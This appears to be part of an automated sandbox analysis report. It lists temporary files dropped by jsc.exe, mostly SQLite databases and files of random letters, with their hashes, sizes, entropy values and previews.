SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB7AC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB7CC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB7ED.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD6BF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD6D0.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD6E1.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD6E2.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD6F2.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD703.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD713.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD714.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEE7E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEEF9.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696724055101702
Encrypted:	false
SSDEEP:	24:amL3nXTtZkQxqip7hViX2Zka12//5V9PP+Iw5ZrfqoV2P8S7FpwmKxlTn:xXL4ivV62qaI/xVhVWZ+X8SxKDT
MD5:	1FFF6A639C738561CDC01BD436BA77C1
SHA1:	BAFB1D68D43B177330F701BA01CA1AD19CB4FBB8
SHA-256:	C2279E62766B7EFD46442641AECB3D9A0A25CE999296AC5BA9DA7BF18B2BDA92
SHA-512:	65EFD5B1E235EF6AD917EAF95E16E3287CA9720F3F0EE989667A1DBB651693580415182F64FFA7538986E2BE7F19AC030836DF62489BB49C42383F5FCD3FA5D2
Malicious:	false
Preview:	NWCXBPIUYIVIMEKOECOAETPCBVGOLLFSFYSIEWGCQXXYDTHBXCBBHRPJYJIIAKLIVVLYHTWFXTIMRQKNXJVKYWJRGDPRAMVTWAMYMVUPBCODOHNWGVUTTMDRCGQSWUENMIVFDVUFWRBWWAXFGLJCWHJESVSORVMBBPZHMGNOLAZEBTVVZJSGFZDCEBOKEELVIKVUJUJMYXSQXAWBVPYELDJUPEKNZGLXBNUDAABLCYAZVPQYBYHWASQZIKCOZDJXTSUXLKTDHJGSYIZZEGRZZNKKDUJMXSRWEDSBIZWRCWGJILNJNQKYISXAGNMQIWLOTRVEMVUEFFBMOVSUOJIHGLPPIKHURRWPPLYGZVGPLTDDNFHWCGDYBJWXDCKVHBTKZNVCGFMGAYMEPNBBZNTBERBXWUZQOWOXLEBSIXOWEZFEHNZYOEPBPYERLPMITANPJUDWNRNURGGOVPAFPUMUFAJJGHCGGSHCPAKCRSPZJJODRADCRCMYZDUAIWBDBDCPBUYVIRSRMZFDRIJQLLRUECYTILJEKDTTKMJATFJZGEOYRXTQSNGOENKASOPKMGWIWBAOMVIDHMXGNZFQLDKEJHBNZOCNFNIXNHOKWJNDTYAWGDGLYPWBQMSVSXTAECOYAEULSBSJPKKFQWDJACOZKJGANAIJBUMCLKLMRCAXPGXPFJMMBITWGGANYVNUIAJQWHHSWFPPASKHZAUXVZCDBKOWYHZAGAZKRYAWMXNYMSOVNKLUSFMEKYZMJTXYMLLTDLXXHKEEHBYXXFBEBTALQHMYPVOGJLATHUICOJIIQJINSCWPMNRVRLYYRHLAJBLVHEDYTFSDAVKINLNNEEURYKXHNXJMZIQWVOJNOTKRUWHSVTMXWRNJWLJJHPIPSFMIAIWBMNDXXCXXZCPDOKGRINVUVYHCJLFDJIZCOEFTHTRHTIWRPLTKLXPUDEBCIHBMDJOHZRRRYIUNRRIECVWDGMFRWLRMKDBNVTLGPDQC

C:\Users\user\AppData\Local\Temp\tmpEEFA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\Temp\tmpEF0B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\Temp\tmpEF0C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696724055101702
Encrypted:	false
SSDEEP:	24:amL3nXTtZkQxqip7hViX2Zka12//5V9PP+Iw5ZrfqoV2P8S7FpwmKxlTn:xXL4ivV62qaI/xVhVWZ+X8SxKDT
MD5:	1FFF6A639C738561CDC01BD436BA77C1
SHA1:	BAFB1D68D43B177330F701BA01CA1AD19CB4FBB8
SHA-256:	C2279E62766B7EFD46442641AECB3D9A0A25CE999296AC5BA9DA7BF18B2BDA92
SHA-512:	65EFD5B1E235EF6AD917EAF95E16E3287CA9720F3F0EE989667A1DBB651693580415182F64FFA7538986E2BE7F19AC030836DF62489BB49C42383F5FCD3FA5D2
Malicious:	false
Preview:	NWCXBPIUYIVIMEKOECOAETPCBVGOLLFSFYSIEWGCQXXYDTHBXCBBHRPJYJIIAKLIVVLYHTWFXTIMRQKNXJVKYWJRGDPRAMVTWAMYMVUPBCODOHNWGVUTTMDRCGQSWUENMIVFDVUFWRBWWAXFGLJCWHJESVSORVMBBPZHMGNOLAZEBTVVZJSGFZDCEBOKEELVIKVUJUJMYXSQXAWBVPYELDJUPEKNZGLXBNUDAABLCYAZVPQYBYHWASQZIKCOZDJXTSUXLKTDHJGSYIZZEGRZZNKKDUJMXSRWEDSBIZWRCWGJILNJNQKYISXAGNMQIWLOTRVEMVUEFFBMOVSUOJIHGLPPIKHURRWPPLYGZVGPLTDDNFHWCGDYBJWXDCKVHBTKZNVCGFMGAYMEPNBBZNTBERBXWUZQOWOXLEBSIXOWEZFEHNZYOEPBPYERLPMITANPJUDWNRNURGGOVPAFPUMUFAJJGHCGGSHCPAKCRSPZJJODRADCRCMYZDUAIWBDBDCPBUYVIRSRMZFDRIJQLLRUECYTILJEKDTTKMJATFJZGEOYRXTQSNGOENKASOPKMGWIWBAOMVIDHMXGNZFQLDKEJHBNZOCNFNIXNHOKWJNDTYAWGDGLYPWBQMSVSXTAECOYAEULSBSJPKKFQWDJACOZKJGANAIJBUMCLKLMRCAXPGXPFJMMBITWGGANYVNUIAJQWHHSWFPPASKHZAUXVZCDBKOWYHZAGAZKRYAWMXNYMSOVNKLUSFMEKYZMJTXYMLLTDLXXHKEEHBYXXFBEBTALQHMYPVOGJLATHUICOJIIQJINSCWPMNRVRLYYRHLAJBLVHEDYTFSDAVKINLNNEEURYKXHNXJMZIQWVOJNOTKRUWHSVTMXWRNJWLJJHPIPSFMIAIWBMNDXXCXXZCPDOKGRINVUVYHCJLFDJIZCOEFTHTRHTIWRPLTKLXPUDEBCIHBMDJOHZRRRYIUNRRIECVWDGMFRWLRMKDBNVTLGPDQC

C:\Users\user\AppData\Local\Temp\tmpEF0D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\Temp\tmpEF1D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
